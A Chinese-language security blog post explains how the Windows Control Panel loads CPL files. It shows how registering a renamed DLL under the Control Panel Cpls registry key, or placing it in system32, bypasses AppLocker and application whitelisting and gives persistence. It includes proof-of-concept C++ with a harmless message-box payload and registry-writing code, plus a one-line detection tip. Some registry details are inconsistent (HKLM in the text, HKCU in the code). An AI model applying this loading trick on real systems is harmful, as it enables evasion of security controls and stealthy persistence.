白名单-Control的利用
简介
Control.exe位于system32目录下,也就是控制面板,控制面板中的对应项,都对应了system目录下的对应项的cpl文件。cpl文件本质上是dll文件,但是规范了导出函数为CPlApplet()。该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。
当启动控制面板时,它会搜索Windows或System32或注册表的相应条目目录下的文件,并把以CPL作为扩展名的文件载入,它调用CPL文件的导出函数CPlApplet(),发送消息给该函数。所以,控制面板应用程序要处理控制面板发送过来的消息,即在函数CPlApplet中进行处理,该函数没有默认的行为。如果一个CPL文件中实现了多个控制面板程序,那么只会有一个CPlApplet函数,它负责所有的控制面板应用程序。
在一定情况下,我们可以通过Control来加载DLL,是一种白加黑的利用思路,也可以用来进行权限维持。我们只需将dll文件更改后缀后放入对应目录下,添加注册表项,就可以在启动控制面板时加载对应的dll,绕过Windows AppLocker的限制规则以及一些应用程序的白名单。
测试
cpl文件的编写按照dll的规范来写,只是将导出函数替换为CPlApplet即可。 (当然测试的话执行cmd可以不用导出函数CPlApplet)
include <windows.h>
extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
MessageBox(0,"test!Applet","test",MB_OK);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译后,有要用Control加载两种选择。
自定义路径
重命名后,自定义路径,我这里以C:\test.cpl为例。
打开注册表,在HKEY_LOCAL_MACHINEHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls添加字符串值。
HKEY hKey;
DWORD dwDisposition;
char path [] = "C:\\test.cpl”;
RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, “testcpl.cpl”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))));
然后然后打开控制面板,就会弹出消息框。
放在system32下
将test.cpl放在system32目录下。
在注册表HKEY_LOCAL_MACHINEHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls中新建项目test.cpl,test.cpl中新建DWORD值,名称为RunLevel,值默认为0即可。
运行控制面板。
问题
这个加载过程中似乎只要有加载别的cpl,都会运行一次这个test.cpl,也就是会弹框好几次,具体原因还要更深入地去了解下控制面板整个启动加载过程。
对应策略
监视cpl文件的加载,监视system目录下的cpl文件。
参考
https://mp.weixin.qq.com/s?__biz=Mzg3MDAzMDQxNw==&mid=2247487706&idx=2&sn=56a5e0bed9df5de3f443d1d05752464d&scene=21#wechat_redi
https://attack.mitre.org/techniques/T1196/